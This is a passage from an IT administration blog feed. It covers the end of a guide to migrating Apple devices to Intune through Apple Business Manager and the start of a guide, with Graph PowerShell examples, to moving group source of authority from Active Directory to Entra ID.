<h2 id="migrate-apple-devices-from-other-mdm-s-to-intune" tabindex="-1">➡️ Migrate Apple devices from other MDM's to Intune <a class="header-anchor" href="#migrate-apple-devices-from-other-mdm-s-to-intune" aria-label="Permalink to &quot;:arrow_right: Migrate Apple devices from other MDM's to Intune&quot;">&ZeroWidthSpace;</a></h2>
<p>When Apple released iOS/iPadOS/macOS 26 in August, they also added an <span style="color:crimson">MDM migration functionality</span> as a new feature to ABM.
That solved one of the main headaches people had with switching MDM solutions in the past.
Usually, you had to do a factory reset on the devices before they could be manually re-enrolled.
This new migration feature, which is directly built in to the ABM, lets IT admins move devices from one MDM to another <span style="color:crimson">without big end-user downtime</span>.</p>
<hr>
<h3 id="prerequisites" tabindex="-1">Prerequisites <a class="header-anchor" href="#prerequisites" aria-label="Permalink to &quot;Prerequisites&quot;">&ZeroWidthSpace;</a></h3>
<ul>
<li>Administrator or Device Enrolment Manager permissions in Apple Business Manager</li>
<li>Intune Administrator or Global Administrator permissions in Microsoft Intune</li>
<li>Devices with iOS, iPadOS or macOS 26 or later</li>
<li>Devices need to be enrolled with Apple Business Manager</li>
</ul>
<div class="important custom-block github-alert"><p class="custom-block-title">IMPORTANT</p>
<p>To keep things working smoothly and make it easy for users, it's important that admins make sure Intune uses the same settings as the old MDM and use the <code>Await final configuration</code> setting.
This way users don`t need to worry about new settings or a different experience and it makes the migration much smoother.
Amending the settings to your liking should then be done gradually in a scond step, to not give the end user too many chances to compain about this whole IT &quot;noncense&quot; 😉 and there constant changes.
<img src="\intune\apple\Migrating\await-final-configuration.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/></p>
</div>
<hr>
<h3 id="mdm-migration-admin-experience" tabindex="-1">MDM migration - Admin experience <a class="header-anchor" href="#mdm-migration-admin-experience" aria-label="Permalink to &quot;MDM migration - Admin experience&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>Document the settings in your old MDM solution.</li>
<li>Add Intune as a MDM solution to ABM as explained above (<a href="https://michaelsendpoint.com/intune/ABM.html#connect-apple-business-manager-with-intune-1" target="_blank" rel="noreferrer">Connect Apple Business Manager with Intune</a>, <a href="https://michaelsendpoint.com/intune/ABM.html#configure-automatic-enrollment-token" target="_blank" rel="noreferrer">Configure automatic enrollment token</a>).</li>
</ol>
<img src="\intune\apple\Migrating\mdm1.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>You can also configure your MDM per device type if you need to use more then one MDM solution in your environment.</p>
<img src="\intune\apple\Migrating\mdm4.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
</div>
<ol start="3">
<li>Open the <a href="https://intune.microsoft.com/" target="_blank" rel="noreferrer">Intune admin center</a> and set up the documented settings from your old solution in Intune and any additional configurations you need (enrollment profiles, compliance policies, configuration profiles, apps, etc.)</li>
</ol>
<div class="warning custom-block"><p class="custom-block-title">WARNING</p>
<p>Please test the migration process before rolling out to your production devices, to make sure your settings in Intune are actually the same as before and the user experience is not negatively impacted.</p>
</div>
<ol start="4">
<li>Then you can go back to ABM and switch the Device Management for your devices to Intune. For that open the Device you want to migrate, select the three dots on the top right and click <code>Assign Device Management</code>.</li>
</ol>
<img src="\intune\apple\Migrating\AppleBlog-3.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<ol start="5">
<li>Now select the new MDM, click <code>Continue</code>, <span style="color:crimson">set a migration deadline</span> for the user, click <code>Continue</code> again and then <code>Confirm</code> the change.</li>
</ol>
<div class="info custom-block"><p class="custom-block-title">VPP</p>
<p>If volume purchased apps were part of the old MDM deployment, you should not set a migration deadline greater than 30 days so to not run into problems with automatic license queries from app developers.</p>
</div>
<img src="\intune\apple\Migrating\AppleBlog-5.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<div class="info custom-block"><p class="custom-block-title">Notifications</p>
<p>After you set the migration deadline, users receive ongoing re‑enrolment alerts:</p>
<ul>
<li>daily until 24 hours before the deadline</li>
<li>hourly, until the final hour</li>
<li>during the final hour in 60, 30, 10 and 1 minute intervals.</li>
</ul>
</div>
<table>
<thead>
<tr>
<th><img src="\intune\apple\Migrating\AppleBlog-6.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
<th><img src="\intune\apple\Migrating\AppleBlog-7.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
</tr>
</thead>
</table>
<hr>
<h3 id="mdm-migration-user-experience" tabindex="-1">MDM migration - User experience <a class="header-anchor" href="#mdm-migration-user-experience" aria-label="Permalink to &quot;MDM migration - User experience&quot;">&ZeroWidthSpace;</a></h3>
<div class="tip custom-block github-alert"><p class="custom-block-title">TIP</p>
<p>I higly recommend informing your users beforehand about the upcoming notification and clicks they have to do.
Even so it is a pretty straight forward process for the user, taking the time beforehand to inform and, depending on your endusers IT affinity, maybe issuing a short one page guide, will save you a lot of helpdesk calls in the end.</p>
</div>
<ol>
<li>First the enduser gets a push notification on his device that he needs to re-enroll the device.</li>
<li>When the user clicks the notification and then <code>Start Enrollment</code> on mac or <code>Start Enrollment</code>directly on iOS the rest of the process is completly automatic.</li>
</ol>
<table>
<thead>
<tr>
<th>macOS</th>
<th>iOS/iPadOS</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="\intune\apple\Migrating\AppleBlog-9.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/><br><img src="\intune\apple\Migrating\AppleBlog-11.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></td>
<td><img src="\intune\apple\Migrating\AppleBlog-10.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></td>
</tr>
</tbody>
</table>
<ol start="3">
<li>At the end the user will get a notification that the enrollment is complete and thats it for him.</li>
</ol>
<img src="\intune\apple\Migrating\AppleBlog-14.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ol start="6">
<li>The admin can now go back to the Intune portal and the device shows under devices, with no difference to any other device that Intune manages.</li>
</ol>
<img src="\intune\apple\Migrating\AppleBlog-15.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<hr>
<h3 id="mdm-migration-volume-purchased-apps" tabindex="-1">MDM migration - Volume purchased apps <a class="header-anchor" href="#mdm-migration-volume-purchased-apps" aria-label="Permalink to &quot;MDM migration - Volume purchased apps&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>You first need to open your old MDM and remove the VPP token there. If you get the option to remove the apps from the devices you should decline that.</li>
<li>Next you can download the same token from ABM again and add it to Intune, as shown above in the <a href="https://michaelsendpoint.com/intune/ABM.html#app-store-volume-purchasing" target="_blank" rel="noreferrer">App Store volume purchasing</a> section.</li>
</ol>
<div class="important custom-block github-alert"><p class="custom-block-title">IMPORTANT</p>
<p>To make the old token work, you need to toggle the option &quot;Take control of token from another MDM&quot; while adding the token to Intune.</p>
</div>
<h2 id="conclusion" tabindex="-1">💡 Conclusion <a class="header-anchor" href="#conclusion" aria-label="Permalink to &quot;:bulb: Conclusion&quot;">&ZeroWidthSpace;</a></h2>
<p>Apple Business Manager (ABM) combined with Intune gives you a powerful, modern foundation for managing Apple devices at scale. ABM centralizes device enrollment, app purchases, and managed Apple IDs, while Intune brings policy, app distribution, and lifecycle management together in a single pane. Together they reduce manual steps, improve security, and make device provisioning far more predictable for admins and users alike.</p>
<p>Why use the ABM?</p>
<ul>
<li>Automated Device Enrollment: Devices from resellers or carriers are assigned and enrolled automatically, cutting setup time for IT and end users.</li>
<li>Managed Apple IDs: Federating with Entra ID lets users sign in with familiar credentials and keeps organizations control intact.</li>
<li>Centralized App Licensing: VPP simplifies app distribution and license reassignment.</li>
</ul>
<p>Why Intune?</p>
<ul>
<li>Microsoft works directly with Apple to support the latest features mostly on the same day they release.</li>
<li>Microsoft also works constatly to bring more and more new features to Apple devices (LAPS for example).</li>
<li>Without knowing every single Apple MDM out there, Intune should be on-par or better then most of them by now.</li>
<li>If you are using M365 already, you got the nessecary linceses without extra costs and save on the overhead of managing multiple MDM solutions.</li>
<li>If you are using Intune or Defender already, you get a single pane of glass for all your devices and security.</li>
</ul>
<p>So taking a look does not hurt, even if you are happy with your current MDM solution or not using Intune yet.
Keeping your eyes open can sometimes reveal new synergies and save money in the future.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cloud Identity Migration with SOA | Entra ID]]></title>
            <link>https://michaelsendpoint.com/entra/soa.html</link>
            <guid>https://michaelsendpoint.com/entra/soa.html</guid>
            <pubDate>Mon, 13 Oct 2025 19:41:58 GMT</pubDate>
            <description><![CDATA[Practical guide to transferring the source of authority for users and groups from on‑premises Active Directory to Microsoft Entra ID, including readiness checks, an application‑centric migration approach, and PowerShell examples for converting SOA.]]></description>
            <content:encoded><![CDATA[<img src="\entra\soa\banner.jpg" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<h1 id="cloud-first-approach-to-identity-management-transferring-source-of-authority-from-active-directory-to-entra-id" tabindex="-1">Cloud-first approach to identity management:<br>Transferring Source of Authority from Active Directory to Entra ID <a class="header-anchor" href="#cloud-first-approach-to-identity-management-transferring-source-of-authority-from-active-directory-to-entra-id" aria-label="Permalink to &quot;Cloud-first approach to identity management:&lt;br&gt;Transferring Source of Authority from Active Directory to Entra ID&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p>The <span style="color:crimson">Source of Authority (SOA)</span> in identity management is the <span style="color:crimson">single source of truth</span> for an identity's existence and core attributes, like name, email address and job title.</p>
<p>On the journey to a cloud environment, organizations sooner or later need to switch their SOA to the cloud. This means that instead of managing users and groups in an on-premises Active Directory (AD), the management is done directly in Microsoft Entra ID. To ilustrate this concept further, Microsoft provides a nice diagram how an environment can evolve from on-premises to 100% cloud.</p>
<img src="\entra\soa\road-to-the-cloud-five-states.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="900" loading="lazy"/>
<p>This modernization is a <span style="color:crimson">crucial step in the cloud journey</span>, it not only <span style="color:crimson">improves security</span>, <span style="color:crimson">reduces on-prem costs</span> but also makes the <span style="color:crimson">management substantially easier</span> through automation and centralized control.</p>
<p>In this article, I will explain why a cloud identity management could be the right fit for your organization and the process of transferring the Source of Authority from AD to Entra.
In moving the SOA, administrators enable a phased migration approach, allowing for a smoother transition to the cloud while minimizing disruption to users and services.</p>
<h2 id="is-cloud-identity-management-right-for-you" tabindex="-1">☁️ Is cloud identity management right for you? <a class="header-anchor" href="#is-cloud-identity-management-right-for-you" aria-label="Permalink to &quot;:cloud: Is cloud identity management right for you?&quot;">&ZeroWidthSpace;</a></h2>
<h3 id="improvements" tabindex="-1">Improvements <a class="header-anchor" href="#improvements" aria-label="Permalink to &quot;Improvements&quot;">&ZeroWidthSpace;</a></h3>
<p>Active Directory has long been a prime target for attackers because it controls so much access.
Moving your identities and application authentication to Entra ID reduces that risk.
Entra ID adds protection through features like Conditional Access and Lifecycle Workflows.
It also enables modern options such as passwordless sign-in and better identity governance, even for apps that were once on-prem.
Overall, managing identities through <span style="color:crimson">Entra ID strengthens security across the organization</span>.</p>
<ul>
<li>IT admins can manage identities, groups and app access from the Entra admin center or via PowerShell.</li>
<li>Entra governance (Entitlement Management, Access Reviews, Lifecycle Workflows) automates user and group lifecycles and aids accountability with strong audit trails.</li>
<li>Users get single sign-on to both cloud and on-prem apps with modern features like Conditional Access and passwordless login. This means fewer passwords to manage and stronger protection for their credentials.</li>
</ul>
<hr>
<h3 id="road-to-the-cloud" tabindex="-1">Road to the Cloud <a class="header-anchor" href="#road-to-the-cloud" aria-label="Permalink to &quot;Road to the Cloud&quot;">&ZeroWidthSpace;</a></h3>
<p>Like mentioned in the introduction, most organizations move to the cloud in phases.
They usually start with a hybrid setup, using both on-premises AD and cloud services.
The next step is a cloud-first stage, where more resources shift to the cloud.
Over time, they work toward an AD-minimized state.</p>
<p>SOA transfer helps with that journey by letting you move users, groups and contacts to Entra much easier with the additional option to roll back changes if needed.
This avoids major changes all at once in a big bang kind of way.
Instead, you can migrate identities in phases and slowly reduce their AD footprint.
<span style="color:crimson">But, always start with checking your applications before transferring SOA, to ensure users don’t lose access to apps relying on AD authentication.</span></p>
<p>As you start moving your apps and identities to the cloud, many users and groups will no longer be needed in Active Directory and can be removed or retired.</p>
<p>You can also move user creation and lifecycle management to the cloud.
Using Entra ID Governance, you can manage SOA-transferred users and groups directly in the cloud and set up automation for creating new identities.</p>
<hr>
<h3 id="are-you-ready-for-soa" tabindex="-1">Are you ready for SOA? <a class="header-anchor" href="#are-you-ready-for-soa" aria-label="Permalink to &quot;Are you ready for SOA?&quot;">&ZeroWidthSpace;</a></h3>
<p>By following this flowchart you can determine if you are ready to transfer the source of authority for your users and groups:</p>
<img src="\entra\soa\soa-readiness-diagram.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<p><strong>Moving users:</strong> SOA works for users who don’t rely on AD DS for app access.
To plan the migration, you need to know which user is tied to which app.</p>
<p><strong>Moving groups:</strong> For groups, start by moving security groups to the cloud.
If needed, you can provision them back to AD from Entra.
For Distribution Lists and Mail-Enabled Security Groups, move them when you migrated to Exchange online.</p>
<h2 id="application-centric-migration-approach" tabindex="-1">💿 Application-centric migration approach <a class="header-anchor" href="#application-centric-migration-approach" aria-label="Permalink to &quot;:cd: Application-centric migration approach&quot;">&ZeroWidthSpace;</a></h2>
<p>The application-centric approach is one of the recommended ways to tackle cloud migration.
Like this you will try to modernize your app authentication without compromising access for users.</p>
<p>The following steps outline an example of the process transferring your identities with SOA from AD to Entra:</p>
<ul>
  <ol>
    <li>Discover Active Directory–Integrated applications</li>
    <li>Map applications to AD Security Groups</li>
    <li>Clean up unused AD groups</li>
    <li>Identify users for each application</li>
    <li>Determine authentication methods</li>
    <li>Assess modernization feasibility</li>
      <ul>
      <li>Older applications with hard-coded assumptions about AD are out of scope for this kind of migration.</li>
      </ul>
    <li>Categorize applications and plan integration approach</li>
      <ul>
        <li>Apps that get retired or replaced</li>
        <li>Apps on modern auth can be moved directly to Entra (update AD FS to Entra, migrate to Azure Files)</li>
        <li>Kerberos/NTLM apps can be published with Entra Application Proxy or Entra Private Access and use Kerberos Delegation so Entra handles auth and AD gets Kerberos tickets</li>
        <li>LDAP-bound apps can use Microsoft Entra Domain Services (managed AD in Azure) so apps can bind to a cloud LDAP endpoint</li>
        <li>Legacy apps that can't be modernized could be hosted on Azure Virtual Desktop</li>
        <li>Apps without connections to the environment (High Security)</li>
      </ul>
    <li>Mapping and planning</li>
    <li>Migrate groups to the cloud</li>
    <li>Handling LDAP-based applications (Directory-Bound Apps)</li>
    <li>Handling Kerberos-based applications (Windows Integrated Auth)</li>
        <ul>
        <li>User lifecycle: After moving a user to cloud management, keep an AD account with the same UserPrincipalName for Kerberos</li>
        <li>Auth & attributes: Don’t migrate users who need password-based AD apps that can’t be changed to Kerberos. Apps that use Kerberos and read AD attributes require those attributes kept in sync (dual-write or similar).</li>
        <li>Devices & SSO: For seamless Kerberos SSO, devices should be Microsoft Entra–joined or hybrid-joined. Domain‑only devices with cloud-managed users often need manual logon.</li>
        </ul>
    <li>Verify and optimize</li>
  </ol>
</ul>
<div class="tip custom-block github-alert"><p class="custom-block-title">TIP</p>
<p>Always start with an app-centric analysis to avoid breaking access for users tied to AD apps. Use phased migration to avoid a “big bang” cutover and long downtimes.</p>
</div>
<h2 id="transferring-group-soa-from-ad-to-entra" tabindex="-1">👥 Transferring group SOA from AD to Entra <a class="header-anchor" href="#transferring-group-soa-from-ad-to-entra" aria-label="Permalink to &quot;:busts_in_silhouette: Transferring group SOA from AD to Entra&quot;">&ZeroWidthSpace;</a></h2>
<div class="warning custom-block"><p class="custom-block-title">WARNING</p>
<p>Please be aware that this Feature is in Preview at the moment.</p>
</div>
<ol>
<li>To transfer the source of authority for a group from AD to Entra, make sure that the group is synchronized to Entra.</li>
</ol>
<img src="\entra\soa\GroupsSOA2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="2">
<li>When you got the groups synchronized, you can use PowerShell to change the SOA.</li>
</ol>
<div class="tip custom-block github-alert"><p class="custom-block-title">TIP</p>
<p>You can get a list of all your groups that are currently synchronized from on-prem by running the following command:</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">get-mgbetagroup</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">all </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">property </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">*</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> |</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Where-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> { </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$_</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.OnPremisesSyncEnabled </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-eq</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> $true</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> } </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> select Displayname</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">,</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> OnPremisesSyncEnabled</span></span></code></pre>
</div></div>
<ol start="3">
<li>Use the following PowerShell script to change the SOA of a group from AD to Entra.</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Import-Module</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Microsoft.Graph.Beta.Groups</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Import-Module</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Microsoft.Graph.Authentication</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Define the Parameters</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$tenantId </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "[YourTenantID]"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$groupName </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "[MyGroupName]"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">#Connect to Microsoft Graph using delegated permissions</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Connect-MgGraph</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Scopes </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"Group.Read.All, Group-OnPremisesSyncBehavior.ReadWrite.All"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">TenantId $tenantId</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Retrieve the group using group name</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$group </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-MgBetaGroup</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Filter </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"displayName eq '</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$groupName</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">'"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Ensure group is found</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$null</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -ne</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $group)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    $groupObjectID </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> $</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">($group.Id)</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    # Define the Microsoft Graph API endpoint for the group</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    $url </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "https://graph.microsoft.com/beta/groups/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$groupObjectID</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">/onPremisesSyncBehavior"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Define the JSON payload for the PATCH request</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    $jsonPayload </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        isCloudManaged </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "true"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    } </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> ConvertTo-Json</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Make the PATCH request to update the JSON payload</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    Invoke-MgGraphRequest</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Uri $url </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Method Patch </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ContentType </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"application/json"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Body $jsonPayload</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$result </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Invoke-MgGraphRequest</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Method Get </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Uri </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"https://graph.microsoft.com/beta/groups/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$groupObjectID</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">/onPremisesSyncBehavior?</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">`$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">select=id,isCloudManaged"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Write-Host</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Group Name: </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$group.DisplayName</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    Write-Host</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Group ID: </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$result.id</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    Write-Host</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "SOA Converted: </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$result.isCloudManaged</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">else</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">    Write-Warning</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Group '</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$groupName</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">' not found."</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div><img src="\entra\soa\GroupsSOA1.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<img src="\entra\soa\GroupsSOA3.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<div class="tip custom-block github-alert"><p class="custom-block-title">TIP</p>
<p>If you want to change the SOA for multiple groups, can just edit this line <code>$group = Get-MgBetaGroup -Filter &quot;displayName eq '$groupName'&quot;</code> to change the filter
and the <code>$group</code> to <code>$groups</code> and then put a <code>foreach($group in $groups)</code> loop around the code directly beneath that.</p>
</div>
<ol start="4">
<li>Now you will see that the <strong>source</strong> field in the groups changed from <strong>Windows Server AD</strong> to <strong>Cloud</strong>.</li>
</ol>
<img src="\entra\soa\GroupsSOA4.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>You can also check the audit logs to confirm the change.</p>
<img src="\entra\soa\GroupsSOA-audit1.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<table>
<thead>
<tr>
